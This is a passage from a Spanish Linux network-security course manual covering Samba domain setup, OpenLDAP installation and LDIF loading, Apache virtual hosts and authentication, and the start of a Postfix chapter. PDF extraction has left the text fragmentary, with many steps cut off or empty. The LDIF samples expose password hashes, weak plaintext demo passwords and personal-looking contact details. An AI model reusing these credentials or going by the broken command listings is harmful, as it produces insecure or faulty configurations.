linux para compartir carpetas e impresoras
Prerrequisitos
Paso 1: Edite el archivo smb.conf adicione y/o modifique los siguientes parmetros
[GLOBAL]
Workgroup = mvaonline
Security = user
bind interfaces only = yes
interfaces=eth0, eth0:1, lo
encrypt passwords = yes
OS Level = 65
Wins support = yes
Preferred Master = Auto
Printing = cups
; Estas variables son obligatorias en un PDC
Domain Logons = Yes
Domain Master = Yes
Local master = YES
Nota: Si tiene Linux SUSE 9 esto se puede hacer en forma grfica por el comando YAST, Network services,
Samba Server, Identity.
Paso 2: Se deben adicionar los usuarios que desde el cliente MS Windows hacen inicio de sesin en el
servidor linux/samba:
# useradd
m usuario
# smbpasswd a usuario
El parmetro usuario es la cuenta del usuario en linux, que debe ser igual al usuario de
adems es el mismo usuario en el cliente windows.
samba y que
Nota: Si tiene Linux SUSE 9 esto se hace en forma grfica por el comando YAST, Security and users, Edit
and create users, digite el password de root, Add.
Este usuario debe existir en el cliente windows que va a iniciar sesin en Samba con el mismo
password, el password del cliente windows debe ser igual al password del usuario en el servidor
linux y samba
La versin webmin permite sincronizar los usuarios linux con samba, si esto se activa no es
necesario crear el usuario en samba por lo tanto si se usa esta opcin primero se debe activar por
webmin la sincronizacin entre cuentas linux y samba.
Se recomienda hacer esto manualmente por cada usuario debido a que algunas versiones de samba
antiguas no siempre se sincronizan
Paso 3: Se debe crear una cuenta de maquina por cada cliente MS XP o MS Windows 2000, as:
# useradd
s /bin/false MAQUINA\$
266
# passwd
# smbpasswd
l MAQUINA\$
a m MAQUINA\$
Esto se debe hacer por cada nombre de maquina WINDOWS 2000/XP. Para Windows 95 y 98 esto no es
necesario pues las contraseas no se cifran en los sistemas antiguos, pero es deseable hacerlo de inmediato
por si llegasen a usar XP o 2000.
267
Para que una mquina con windows XP pueda cambiarse del grupo de trabajo y unirse hacia un dominio
PDC en Linux con samba se debe configurar el XP como miembro del PDC digitando el dominio de samba,
luego el XP le preguntar el usuario administrador de linux, digite root y su password.
Ahora el sistema le pedir que reinicie a XP y en la prxima sesin se le pedir el usuario, el password y el
dominio PDC.
14.0
Trucos
Nota:
-----Las impresoras deben tener como nombre compartido de red 8 caracteres como mximo para que puedan
ser listadas desde los clientes.
Solucion:
Para esto se debe configurar en forma manual la impresora con el comando lpadmin, para el ejemplo
utilizaremos como nombre de la impresora hp (Definido en /etc/hosts o el servidor DNS)
Entre al sistema con el usuario root.
Cree un archivo de tipo shell o interface llamado /etc/samba.sh con las siguientes lneas:
#!/bin/sh
# ---------------------------------------------------------# Shell:
samba.sh
# Autor:
Armando Carvajal/Janneth vallejo
## -----------------------------------------------------------# Se recomienda poner este archivo en /etc/samba.sh
# Asegurese que el formato de este archivo sea unix y no DOS,
# debe tener permisos de ejecucion, por ejemplo obliguelo asi:
# cd /etc/samba
# dos2unix lpsamba.sh
# chmod +x lpsamba.sh
# -----------------------------------------------------------# Nota: Para crear la impresora por cups sobre linux use el comando
# lpadmin -p samba -v /dev/null -i samba.sh -E
# Donde el parametro -p samba indica el nombre de la impresora
# -i es la interface que siempre debe ser samba.sh
#
#
#
#
#
#
#
#
#
#
#
#
#
268
269
Pruebe su impresora:
# lp d hp /etc/hosts
# lpstat t
-S \\nombre_servidor set
-I IP_servidor set
270
15.0
271
Captulo 11
Asegurando los servicios de red
LDAP
Objetivos:
Conocer cmo se configuran y donde estn los archivos de configuracin de Open Ldap
Crear implementaciones con las estructuras estndares incluidas y creacin de nuevas estructuras
de datos
272
Si usted es un desarrollador:
Permite renunciar a estar amarrado a un solo proveedor y/o sistema operativo adems de ahorrar tiempo en
el desarrollo de software, el programador no debe desarrollar su propio sistema de directorios para
administrar los usuarios, grupos y objetos pues LDAP es un estndar que ya lo hace.
LDAP est basado en la arquitectura cliente servidor de dos niveles y es un protocolo orientado a mensajes,
hay dos clases de directorios los Offline y los Online.
Directorios Offline:
Cambian muy poco, ayudan a la gente a encontrar cosas por ejemplo el directorio telefnico, las pginas
amarillas, la gua de televisin, los catlogos de compras, las libreras, las bibliotecas, etc.
Directorios Online:
Cambian en forma dinmica, deben ser flexibles, deben ser seguros, y deben personalizarse al gusto del
usuario. Debe ser actualizado por el usuario dueo de la informacin por ejemplo el directorio de empleados
en una empresa que desea localizarlos cuando cambien sus datos de telfono, fax, etc. Otro ejemplo sera el
directorio de hoteles por los que pasa un funcionario, etc.
4.0
iPlanet
eDirectory
Novell directory
LDAP se consigue en formato rpm en el site www.openldap.org y es heredado de la versin 3.3 de la versin
original de la Universidad de Michigan.
273
5.0
ldap_search(),
ldap_compare(),
ldap_bind(),
ldap_unbind(),
ldap_modify(),
ldap_add(),
ldap_delete(),
ldap_rename(),
ldap_result()
Instalacion de OpenLdap
#
#
#
#
#
#
#
#
#
make clean
CPPFLAGS="-I/usr/local/ssl/include -I/usr/local/BerkeleyDB.5.0/include"
LDFLAGS="-L/usr/local/ssl/lib -L/usr/local/BerkeleyDB.5.0/lib"
LD_LIBRARY_PATH="/usr/local/BerkeleyDB.5.0/lib"
export CPPFLAGS LDFLAGS LD_LIBRARY_PATH
./configure --with-tls --enable-crypt --enable-syslog --sysconfdir=/etc/openldap
make depend
make
make install
Es crtico el uso de la variable LD_LIBRARY_PATH pues el origen de compilacin de openldap viene de Unix y
no se ha normalizado para Linux.
Para compartir las libreras se deben adicionar las siguientes lneas al archivo/fichero /etc/ld.so.conf:
/usr/local/BerkeleyDB.5.0/lib
/usr/local/ssl/lib
/usr/local/ssl
/usr/local/lib64
/usr/local/lib
Para luego compilarlas con ldconfig v
274
o=Acis,c=CO
Acis
Calle 93 con 13A
organization
dn:
cn=Juana La Loca, o=Acis, c=CO
cn:
Juana
sn:
La Loca
description:
Soporte en Windows
uid:
acarvaja
userPassword: {SSHA}msyaU45hcXmiq8ahe9OkewOCKKA4A5EY
displayname:
Armando Carvajal - sistemas
mail:
acarvaja@acis.org.co
carLicense:
77036182
homePhone:
571 528 3101
objectclass:inetOrgPerson
Explicacin:
o: Significa organization (Nombre de la empresa) y c: significa country (pas), es decir primero se tiene un
tipo de atributo y en seguida el valor del atributo:
dn: significa distinguished (Distinguido)
objectClass: (Tipo de objeto)
cn: significa Common name (Nombre Comun)
sn: significa surname (Apellido)
telephoneNumber: (Nmero de tel)
mail: (e-mail del usuario)
description: (Descripcin del objeto)
El significado de cada atributo est definido en los archivos de tipo schema residentes en el directorio: /
etc / openldap / schema
Por ejemplo / etc/ openldap / core.schema, / etc / openldap / schema / cosine.schema,
/ etc / openldap / schema / inetorgperson.schema
Revise que el atributo mail este definido antes del objeto inetOrgPerson, si esto no se define en forma
correcta el inicio del proceso servidor fallar.
El proceso servidor en binario ldap se llama slapd y escucha por el puerto tcp 389 de /etc/services.
Ldapd significa: Stand-alone LDAP Daemon que en tiempo de boot se arranca por un script en
/etc/init.d/ldap, el servidor o demonio ldap busca a /etc/openldap/slapd.conf.
El directorio donde LDAP guarda los datos se encuentra en /var/lib/ldap.
275
{SSHA}
Cadenas de autenticacion:
Las cadenas ms conocidas para el atributo DN que permiten autenticarse a los servidores LDAP son:
Para SUSE Linux 9:
276
Para SCOoffice:
cn=Administrador,o=mvaonline.com
o=mvaonline.com es la organizacin que el sistema de correo usa para almacenar los usuarios del
sistema
127.0.0.1
o=Acis, c=CO
389
Esto evita que el usuario al lanzar comandos en la lnea de comandos tenga que digitar el servidor, la cadena
base LDAP y el puerto.
En el Linux CentOS/RedHat debe existir la carpeta /etc/openldap/cacerts, sin esta carpeta el servicio no sube
Para subir el servicio en forma automtica posicionese en el directorio /etc/init.d y digite los siguientes
comandos:
# chkconfig -add ldap
# chkconfig -level 35 ldap on
277
278
Ahora digite en HOST el IP del servidor donde reside el servicio OpenLDAP, para este caso 192.168.100.55.
En el campo PORT digite el nmero del puerto por donde escucha el servidor OpenLDAP, generalmente es el
389. En el campo BASE DN digite la cadena DN por ejemplo dc=bat para indicar el dominio bat de la
organizacin BAT.
279
En el campo User DN: digite uid=Armando Carvajal, dc=bat para indicar el usuario que se autenticara
contra el servidor OpenLdap. Este usuario debe existir en la base de datos.
En el campo Filter escriba la cadena para filtrar los objetos a seleccionar, la cadena de caracteres ms
general es objectClass=*.
280
Estas son las filas de la base de datos que dependen de la llave principal o DN: dc=bat
281
El sistema permite hacer clic sobre el registro que se desea visualizar o ver en forma detallada.
Sobre el campo seleccionado permite operaciones como ver las propiedades del atributo o campo, en la
versin licenciada se permite modificar o borrar campos y hasta registros.
Algo interesante en este software son las ayudas pues guan a los usuarios en la solucin de problemas ms
comunes as como la teora ms general sobre LDAP.
282
Esta es una de las consultas mas frecuentes pues se indica la cadena DN que se debe usar para acceder al
servidor Active Directory de Microsft Windows 2000.
Digite en SERVER el IP del servidor donde reside el servicio OpenLDAP, para este caso 192.168.100.55. En
el campo SERVER TYPE seleccione OpenLDAP, en PORT digite el nmero del puerto por donde escucha el
servidor OpenLDAP, generalmente es el 389. En el campo Root DN digite la cadena DN por ejemplo dc=bat
para indicar el dominio bat de la organizacin BAT.
En el campo User name: digite uid=Armando Carvajal, dc=bat para indicar el usuario que se autenticara
contra el servidor OpenLdap. Este usuario debe existir en la base de datos.
283
Estas son las filas de la base de datos que dependen de la llave principal o DN: dc=bat
Sobre el campo seleccionado permite operaciones como ver las propiedades del atributo o campo, permite
modificar o borrar campos pero no permite borrar registros.
284
285
10.0 Laboratorio:
Problema
Paso 1: Prerequisitos
Instale openldap segn lo aprendido o use el que viene con el sistema linux
Verifique la ruta de instalacin del producto, es bueno recordar que al instalarlo manualmente
desde un formato tarbal este quedara en /usr/local/etc/openldap
Revise que el ejecutable del servicio OpenLdap exista (/usr/lib/openldap/slapd si ya esta
preinstalado en SLES /usr/local/libexec/slapd si lo instal manualmente)
Apache debe estar configurado para soportar autenticacin LDAP
/etc/openldap/schema/core.schema
/etc/openldap/schema/cosine.schema
/etc/openldap/schema/inetorgperson.schema
pidfile
argsfile
/var/run/slapd/slapd.pid
/var/run/slapd/slapd.args
password-hash
database
suffix
rootdn
rootpw
directory
{SSHA}
hdb
o=Acis,c=CO
uid=acarvaja,o=Acis,c=CO
{SSHA}hBEW48ok74TN7Tx79F66XSZrjI/x7ur3
/var/lib/ldap
sizelimit
threads
timelimit
index
index
unlimited
32
unlimited
uid eq,pres,sub
objectClass
eq
Este cdigo puede ser introducido a travs del editor vi, mc o su preferido.
Para mas informacin sobre vi digite man vi.
o=Acis,c=CO
286
o:
postalAddress:
objectclass:
Acis
Calle 93 con 13A
organization
dn:
cn:
sn:
uid:
userPassword:
displayname:
mail:
carLicense:
homePhone:
objectclass:
uid=acarvaja,o=Acis,c=CO
Armando
Carvajal
acarvaja
{SSHA}msyaU45hcXmiq8ahe9OkewOCKKA4A5EY
Armando Carvajal - sistemas
acarvaja@acis.org.co
77036182
571 528 3101
InetOrgPerson
dn:
cn:
sn:
uid:
userPassword:
displayname:
mail:
carLicense:
homePhone:
objectclass:
uid=yolanda,o=Acis,c=CO
Yolanda
Herrera
yolanda
{SSHA}7RHRyeyVZj6aCr9hWR2eYnMuexBDijtf
Yolanda Herrera - secreto
yolanda@acis.org.co
14794794793274
571 528 3101
InetOrgPerson
dn:
cn:
sn:
uid:
userPassword:
displayname:
mail:
carLicense:
homePhone:
objectclass:
uid=laura,o=Acis,c=CO
Laura
Carvajal
laura
{SSHA}2BwPxdRNOGV95c3QsA9DwivHN+UaL+tf
Laura Carvajal Rodriguez - sistemas2003
laura@acis.org.co
123456
571 528 3101
InetOrgPerson
Notas importantes:
Paso 6: Cargue los datos verificando que el motor de base de datos openldap no este activado:
# slapadd l bd.ldif.ssha
287
Paso 8: Pruebe consultando la base de datos con un cliente desde Windows como JXplorer:
Paso 9: Pruebe que Apache puede autenticarse contra ldap para proteger la carpeta
/usr/local/apache2/htdocs/ldap
En el archivo de configuracin /usr/local/apache2/conf/httpd.conf proteja la carpeta en
mencin:
Alias /ldap "/usr/local/apache2/htdocs/ldap/"
<Directory /usr/local/apache2/htdocs/ldap>
AuthName
"Autenticacion contra LDAP"
AuthType
Basic
AuthzLDAPAuthoritative off
AuthBasicProvider ldap
AuthLDAPUrl
"ldap://localhost:389/o=Acis,c=CO?uid?sub?(objectClass=*)"
require
valid-user
</Directory>
Al navegar mediante un explorador en esa carpeta ldap el apache server debe solicitar un usuario
y una clave.
Por que falla esta autenticacin en las nuevas versiones de apache?
288
Definicin del nuevo esquema que contenga variables como aplicaciones, usuarios, claves de
acceso e informacin genrica del usuario
Implementacin del nuevo esquema
Creacion de programas web en PHP que permitan la actualizacin de usuarios, aplicaciones y
actualizacin de datos genricos
El sistema debe crear perfiles de usuarios y aplicaciones para que una aplicacin pueda acceder
a LDAP y as saber si el usuario tiene derecho a entrar a esa aplicacin.
El servidor web y el servidor LDAP deben tener activada la seguridad de transmisin de datos
entre servidor y clientes basados en certificados digitales X.509 para evitar la captura pasiva de
datos crticos (Eavesdropping) por usuarios no autorizados en la red
La autenticacin de los usuarios debe ser obligatoria basada en usuario y clave de usuario
registrada en el sistema LDAP
Opcionalmente y bajo parametrizacion de cada usuario se debe solicitar un certificado digital en
formato PKCS12, el usuario debe firmar un texto propuesto por el sistema, el sistema debe
verificar el texto firmado contra una PKI para garantizar la autenticidad del usuario que desa
acceder al sistema
Opcionalmente y bajo parametrizacion de cada usuario se debe solicitar autenticacin por huella
dactilar, si coincide la huella dactilar digitada contra la base de datos ldap se le dara acceso al
usuario
Actividades a desarrollar
289
Paso 1: Todas las actividades deben realizarse en un nico servidor de aplicaciones y web
290
291
/etc/openldap/schema/core.schema
/etc/openldap/schema/cosine.schema
/etc/openldap/schema/inetorgperson.schema
ldap
ldif
bdb
ldb
ldbm
hdb
suffix
rootdn
#rootpw
#rootpw
#rootpw
#rootpw
rootpw
"dc=lacositarica"
"uid=administrador,ou=users,dc=lacositarica"
{SSHA}msyaU45hcXmiq8ahe9OkewOCKKA4A5EY
{MD5}EC3a9pHhYV1drNTIYpm/pA==
{CRYPT}zonbrS5mNjC0s
sistemas
{SSHA}ZYLt2uP8RQQQ2A2r7XtiR5S66t60cWBX
292
/var/lib/ldap
Paso 6: Programar el shell para convertir datos de archivos planos a formato LDAP
#!/bin/sh
# Programa
: mkldapsso.sh
# Objetivo
: Crea el formato ldif desde archivo plano para cargas masivas
# Nota
: El archivo debe tener permiso de ejecucion
#
: Para dar permiso de ejecucion digite: chmod +x mkldapsso.sh
#
: Para ejecutar -> mkldapsso.sh archivo_plano
#
: La salida en formato ldif se llama mkldapsso.txt
# ----------------------------------------------------------------------------# Formato del archivo plano : Ojo nunca nulos
# ----------------------------------------------------------------------------# login:nombre:telefono:correo:password
# ----------------------------------------------------------------------------if ! [ -r $1 ] ; then
echo Error: El archivo plano [ $1 ] no existe!!
echo Sintaxis: mkldapsso.sh archivo_plano
293
exit 1
fi
cat > mkldapsso.txt << EOF
dn: dc=lacositarica
dc: lacositarica
o: Lacositarica
objectClass: dcObject
objectClass: organization
dn: ou=users,dc=lacositarica
ou: users
objectClass: organizationalUnit
dn: ou=servicios,dc=lacositarica
ou: servicios
objectClass: organizationalUnit
dn: ou=perfiles,dc=lacositarica
ou: perfiles
objectClass: organizationalUnit
dn: uid=administrador,ou=users,dc=lacositarica
uid: administrador
userPassword: sistemas
nombreSSO: Administrador
tipoUsuarioSSO: Administrador
objectClass: usuarioSSO
EOF
for i in `cat $1 | tr ' ' +`
do
uid="`echo $i | cut -f1 -d:`"
nombreSSO="`echo $i | cut -f2 -d:`"
telefonoSSO="`echo $i | cut -f3 -d:`"
correoSSO="`echo $i | cut -f4 -d:`"
userPassword="`echo $i | cut -f5 -d:`"
echo dn:
uid=${uid},ou=users,dc=lacositarica | tr + ' ' >> mkldapsso.txt
echo uid:
${uid}
| tr + ' ' >> mkldapsso.txt
echo userPassword:
${userPassword}
| tr + ' ' >> mkldapsso.txt
echo nombreSSO:
${nombreSSO}
| tr + ' ' >> mkldapsso.txt
#if (${telefonoSSO}) then
echo telefonoSSO:
${telefonoSSO}
| tr + ' ' >> mkldapsso.txt
#fi
echo correoSSO:
${correoSSO}
| tr + ' ' >> mkldapsso.txt
echo correoaltSSO:
${correoSSO}
| tr + ' ' >> mkldapsso.txt
echo tipoUsuarioSSO:Final
| tr + ' ' >> mkldapsso.txt
echo bloqueadoSSO: 0
| tr + ' ' >> mkldapsso.txt
echo activoSSO:
512
| tr + ' ' >> mkldapsso.txt
echo objectClass:
usuarioSSO
| tr + ' ' >> mkldapsso.txt
echo "Procesando: $uid"
echo
>> mkldapsso.txt
done
# ----------------------------------------------------------------------------Ejecute el shell digitando:
# ./mkldapsso.sh passwd.txt
294
objectClass: dcObject
objectClass: organization
dn: ou=users,dc=lacositarica
ou: users
objectClass: organizationalUnit
dn: ou=servicios,dc=lacositarica
ou: servicios
objectClass: organizationalUnit
dn: ou=perfiles,dc=lacositarica
ou: perfiles
objectClass: organizationalUnit
dn: uid=administrador,ou=users,dc=lacositarica
uid: administrador
userPassword: sistemas
nombreSSO: Administrador
tipoUsuarioSSO: Administrador
objectClass: usuarioSSO
dn: uid=acarvaja,ou=users,dc=lacositarica
uid: acarvaja
userPassword: sistemas
nombreSSO: Armando Carvajal
telefonoSSO: 571 493 3802
correoSSO: acarvaja@lacositarica.com.co
correoaltSSO: acarvaja@lacositarica.com.co
tipoUsuarioSSO:Final
bloqueadoSSO: 0
activoSSO: 512
objectClass: usuarioSSO
dn: uid=jloca,ou=users,dc=lacositarica
uid: jloca
userPassword: no lo se
nombreSSO: Juana La Loca
telefonoSSO: 571 123 456
correoSSO: jloca@lacositarica.com.co
correoaltSSO: jloca@lacositarica.com.co
tipoUsuarioSSO:Final
bloqueadoSSO: 0
activoSSO: 512
objectClass: usuarioSSO
dn: uid=jaimey,ou=users,dc=lacositarica
uid: jaimey
userPassword: 12345
nombreSSO: Jaime Yory
telefonoSSO: 0
correoSSO: jloca@lacositarica.com.co
correoaltSSO: jloca@lacositarica.com.co
tipoUsuarioSSO:Final
bloqueadoSSO: 0
activoSSO: 512
objectClass: usuarioSSO
295
Paso 9: Cargue los datos convertidos en formato ldif estando apagado el servidor ldap
# slapadd l mkldapsso.txt
Paso 12: Pruebe los programas en PHP de gestion de usuario, servicios y perfiles
En un explorador pruebe http://localhost/lacositarica/sso
Paso 13: Haga remediacin y/o blindaje de los servicios de red y mejore los programas PHP para
que hagan autenticacion de 3 factores
Para corregir la vulnerabilidad de LDAP annimo se deben agregar las siguientes lneas en el archivo de
configuracin slapd.conf:
access to *
by anonymous none
by * read
disallow bind_anon
Bibliografa
Understanding And Deploying LDAP Directory Services, Timothy A. Howes Ph.D, New Riders, 1999,
Netscape Communications Corporation, First Edition.
Implementing LDAP, Marck Wilcox, Editorial Wrox.
www.ldapguru.com
296
Captulo 12
Asegurando los servicios de red
Servidor web Apache
1.0
2.0
3.0
Filosofa
Filosofia
1.
2.
3.
4.
5.
Slide 5
297
4.0
Activar el servicio
/etc/init.d/httpd
o
el
alias
/etc/init.d/rc5.d/S85httpd.
httpd buscara el archivo
/etc/httpd/httpd.conf
El default es
/usr/local/apache2/conf/httpd.conf
Slide 6
Nota:
La versin 2.x.y que se baja de www.apache.org instala por defecto en /usr/local/apache2/conf/httpd.conf
298
5.0
6.0
Instalar cd rom
Si no esta preinstalado monte el CDROM
manualmente:
# mount /dev/cdrom / mnt/cdrom
En UnitedLinux mount /media/cdrom
Si tiene una quemadora de CDs
# mount / media/cdrecorder
Instale segn el formato rpm
# rpm hUv apache-3.1.x-1.i386.rpm
Slide 8
Si el servicio no fue preinstalado cuando se hizo la instalacin inicial entonces deber montar el CDROM
manualmente:
# mount /dev/cdrom /media/cdrom
En Suse:
# mount /media/cdrom
Si posee una quemadora digite:
# mount /media/cdrecord
299
7.0
Para obtener una versin ms actualizada debe bajarse la ltima versin desde http://www.apache.org/dist,
actualmente existe la versin 2.0.x, al tenerla en disco localmente se debe instalar con los siguientes
comandos para soportar LDAP y Open SSL:
# tar xzvf http*
# cd http*
#./configure
--enable-module=so
--with-include-apr
--enable-ssl
--with-ssl=/usr/local/ssl
--with-ldap
--enable-ldap
--enable-authnz-ldap
--enable-shared=max
--enable-module=rewrite
# make
# make install
Nota:
Deben existir las librerias para desarrollo openldap-devel, openssl-devel, apr y apr-util
Verifique que dentro de la carpeta httpd* exista la carpeta srclib y que dentro de esta este la
librera apr
Es importante recordar que la versin 2.0.x que se baja de Internet lee las paginas del directorio
/usr/local/apache2/htdocs y la versin 1.x que ya viene preinstalado lee las pginas desde /srv/www/htdocs
cuando el Linux es SUSE
Si se desea que simultneamente trabajen: la versin 2 la dejamos en el puerto 80 y la versin 1.x en el 88.
El archivo de configuracin de la versin 1.x se encuentra en /etc/httpd/httpd.conf
El archivo de configuracin de la versin 2.x se encuentra en /usr/local/apache2/conf//httpd.conf
Para subir apache 2 en forma automtica:
# ln s /usr/local/apache2/bin/apachectl /etc/rc.d/rc5.d/S99apachectl
Para ejecutar paginas con extensin .php, modifique el parmetro DirectoryIndex:
DirectoryIndex index.html index.html.var index.htm index.php
300
8.0
9.0
Los dominios virtuales permiten que una misma ip en el servidor comparta varias empresas o dominios para
pblicar pginas web independientes en el mismo servidor.
Si se tiene el software webmin ser muy fcil su configuracin:
301
Vaya al webmin, carpeta server y haga click sobre el icono Apache web server.
Posicionese en Create a new Virtual Server
Llene el formulario con los datos: Address Es el IP que usuar el dominio.
Port (Default si es puerto 80),
Document Root es el directorio donde residirn las paginas web del dominio virtual
Server Name es el nombre del servidor segn la configuracin del DNS server.
302
303
Ahora vera las diferentes secciones en que se divide el archivo httpd.conf, para cambiar el puerto de
conexin haga click sobre el icono Networking and Address. Para dominios virtuales Virtual domain y as
sucesivamente. Debe ahora revisar manualmente que el archivo de configuracin muestre la siguiente
informacin.
NameVirtualHost 200.91.221.202
<VirtualHost 200.91.221.202>
DocumentRoot /srv/www/htdocs/unincca
ServerName www.unincca.edu.co
</VirtualHost>
<VirtualHost 200.91.221.202>
DocumentRoot /srv/www/htdocs/fuac
ServerName www.fuac.edu.co
</VirtualHost>
<VirtualHost 200.91.221.202>
DocumentRoot /srv/www/htdocs/uniandes
ServerName www.uniandes.edu.co
</VirtualHost>
304
10.0
Laboratorio:
Objetivo: Configurar los dominios virtuales unincca.edu.co, fuac.edu.co y uniandes.edu.co sobre un mismo
IP 200.91.221.202. El IP 200.91.221.202 es supuesto para este laboratorio, no debera usarlo en cambio
utilice el de su PC.
Prerrequisitos: Crear los dominios virtuales en el dns, los nuevos dominios virtuales se deben crear para el
IP 200.91.221.202
Instale la ltima versin de apache:
# tar xzvf http*
# cd http*
# ./configure
--enable-module=so
--with-include-apr
--enable-ssl
--with-ssl=/usr/local/ssl
--with-ldap
--enable-ldap
--enable-authnz-ldap
--enable-shared=max
--enable-module=rewrite
# make
# make install
Nota:
Deben existir las librerias para desarrollo openldap-devel, openssl-devel, apr y apr-util
Verifique que dentro de la carpeta httpd* exista la carpeta srclib y que dentro de esta este la
librera apr
Paso 1: Edite el archivo httpd.conf y adicione al final del archivo el IP a compartir, si esta utilizando apache
versin 2 entonces edite /usr/local/apache2/conf/httpd.conf:
NameVirtualHost 200.91.221.202
Se debe recordar que debe existir una sola lnea NameVirtualHost por cada IP a compartir.
Paso 2: Nuevamente edite el archivo httpd.conf y adicione al final del archivo los dominios virtuales creados
en el dns.
<VirtualHost 200.91.221.202>
DocumentRoot /usr/local/apache2/htdocs/unincca
ServerName www.unincca.edu.co
</VirtualHost>
<VirtualHost 200.91.221.202>
DocumentRoot /usr/local/apache2/htdocs/fuac
ServerName www.fuac.edu.co
</VirtualHost>
<VirtualHost 200.91.221.202>
DocumentRoot /usr/local/apache2/htdocs/uniandes
ServerName www.uniandes.edu.co
</VirtualHost>
Nota: No olvide crear cada carpeta de cada domnio, por ejemplo:
# mkdir /usr/local/apache2/htdosc/fuac para el domnio fuac.edu.co
# mkdir /usr/local/apache2/htdosc/unincca para el domnio unincca.edu.co
# mkdir /usr/local/apache2/htdosc/uniandes para el domnio uniandes.edu.co.
Adems se debe copiar una pagina index.html por cada directorio de cada organizacin, de preferencia
muestre el nombre del dominio en cada pagina web.
305
Cuestionamientos:
Que
Que
Que
Que
Recomendaciones:
Se debe limpiar la memoria cache del browser cliente para que los cambios ms nuevos aparezcan
actualizados. El cache guarda las paginas mas recientemente visitadas.
Es importante deshabilitar el proxy si esta configurado en el browser del cliente.
Fin de laboratorio
11.0
Para poder proteger un directorio por medio de Apache debemos utilizar el comando htpasswd, el cual
crear un archivo (base de datos) de los usuarios y sus respectivas claves el cual ser llamado como el
usuario desee, adems debemos configurar nuestro archivo httpd.conf con las directivas para proteger
directorios.
Abrimos una terminal de texto o grafica, y digitamos:
# htpasswd -c /directorio_cualquiera/.nombre_archivo
nom_usuario
El parmetro (flag) c: Nos indica que el archivo nombre_archivo es nuevo, solo debe digitarse la
primera vez.
directorio_cualquiera: Ubicacin del archivo donde quedaran consignados los nombres de usuarios
con sus respectivas claves.
.nombre_archivo: Nombre del archivo donde quedarn consignados los nombres de los usuarios con
sus respectivas claves. Se recomienda que inicie con un punto.
nom_usuario: Nombre del usuario a insertar en el archivo nom_archivo.
306
AuthUserFile /etc/httpd/.htpasswd
Require valid-user
</Directory>
Veamos que hace cada lnea:
AuthName: Este campo es nicamente explicativo y se mostrar en la ventana del cliente para informar por
que se pide password para ese directorio.
AuthType: En este campo debe ser necesariamente Basic, para validar los usuarios contra el archivo plano
creado con el comando htpasswd.
AuthUserFile: Es la ruta en el disco duro en donde se encontrar el archivo de claves.
require valid-user , Indica el nombre del usuario(s) que pueden entrar al directorio, estos usuarios deben
estar en el archivo indicado por AuthUserFile.
Nota: Si la directiva require tiene como parmetro user usuario, esto indica que solamente el usuario de
nombre usuario puede entrar a esa pagina.
Con esto salimos a la lnea de comandos y reiniciamos el servidor apache:
# apachectl stop
# apachectl start
Otra forma de reiniciar el servidor apache es:
# rcapache restart
307
12.0
La versin 2.0.x incluye soporte nativo a LDAP, no olvidar al compilar apache configurar el soporte a LDAP
as:
# ./configure
--with-ldap
--enable-ldap
--enable-authnz-ldap
308
13.0
Laboratorio:
Objetivo:
Configurar apache para proteger la carpeta manuales de los dominios virtuales creados en el laboratorio
anterior.
Prerrequisitos:
Crear los dominios virtuales y dentro de estos crear el directorio manuales para cada dominio virtual.
Paso 1:
Crear la base de datos de los usuarios unincca, fuac y uniandes con los claves sistemas, electrnica y gestin
respectivamente, as:
# /usr/local/apache2/bin/htpasswd c
# /usr/local/apache2/bin/htpasswd
# /usr/local/apache2/bin/htpasswd
/usr/local/apache2/conf/.htpasswd unincca
/usr/local/apache2/conf/.htpasswd fuac
/usr/local/apache2/conf/.htpasswd uniandes
309
Fin de laboratorio
Cuestionamientos:
Que pasara si la lnea Require valid-user se reemplazara por: Require user incca autonoma
uniandes ?
Cual seria la lnea si nicamente deseamos que el usuario incca vea el contenido de las
carpetas manuales?
Que pasara si en los tres comandos htpasswd se utilizara el parmetro c?
Pruebe cambiando el contenido de la variable AuthName con otros textos
Si se cambia el contenido de una pgina web, se refresca y esta no se actualiza a que se
debe?
310
14.0
Trucos
Para redireccionar un sitio web hacia otro servidor desde apache:
<VirtualHost 192.168.100.5>
DocumentRoot /srv/www/htdocs/dominios/lacositarica
ServerName www.lacositarica.com.co
redirect permanent / http://www.lacositarica.com
</VirtualHost>
Ejemplo:
los
archivos
de
la
pgina
web
www.mvaonline.com
quedan
en
el
sitio
www.mvausa.com/Colombia por lo tanto el archivo de configuracin que redirecciona en forma
permanente el dominio sera:
<VirtualHost *:80>
DocumentRoot /srv/www/htdocs
ServerName www.mvaonline.com
redirect permanent / http://www.mvausa.com/Colombia
</VirtualHost>
Para redireccionar un sitio web hacia otro servidor desde la pagina web sin modificar apache:
<meta http-equiv="Refresh" content="5; url=www.globalteksecurity.com">
Para que las pginas web muestren las tildes o caracteres especiales tenga en cuenta que existan
las siguientes instrucciones:
AddDefaultCharset
AddLanguage
AddCharset
15.0
ISO-8859-1
es
ISO-8859-1
.es
.iso8859-1
.latin1
Se reinicia el servicio.
Comprobacion manual de la falla:
lab:~ # telnet localhost 80
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
TRACE / HTTP/1.0
HTTP/1.1 200 OK
Date: Tue, 23 Aug 2011 04:02:37 GMT
Server: Apache/2.2.19 (Unix) mod_ssl/2.2.19 OpenSSL/0.9.8h PHP/5.3.6
Connection: close
Content-Type: message/http
311
TRACE / HTTP/1.0
Connection closed by foreign host.
El servidor apache devuelve un error HTTP 403 indicando que no va a mostrar ningn archivo, esto es
recomendable ya que pueden existir archivos con configuraciones, cadenas de conexin o informacin
sensible que podra ser de mucha utilidad para un posible atacante.
312
1024
# Defecto 10000
MaxRequestsPerChild
KeepAlive
4000
off
313
Captulo 13
Asegurando los servicios de red
Servidor de correos
1.0
2.0
POSTFIX
Es la implementacin del protocolo SMTP que sirve para transferir mensajes en cualquier formato entre
dos servidores de correo en red
Se implementa en linux por medio de un demonio o proceso servidor que atiende los requerimientos de
los usuarios.
SMTP: Traduce Simple Mail Transfer Protocol y es el protocolo implementado por Postfix, Sendmail y
Qmail como servidores correos mas conocidos
Es transparente para el usuario pues los clientes de correos para configurarse solo necesitan saber la
cuenta del usuario, el servidor saliente, el servidor entrante y el puerto de correo del servidor SMTP,
POP e IMAP.
Conecta distintas mquinas y transfiere mensajes de correo entre ellas.
Es similar a como FTP transfiere archivos pero este se da entre personas que poseen buzones de correo
en los servidores que desean transferirse archivos.
314
Beneficio
9
8
7
6
5
4
U S $/2 pg
3
2
1
0
Po stal
T elfo n o
Fax
e-m ail
Slide 7
3.0
Filosofia
4.0
315
5.0
Cree el usuario postfix que pertenezca al grupo postdrop, si el usuario ya existe entonces cree unicamente el
grupo postdrop.
#
#
#
#
#
#
groupadd postdrop
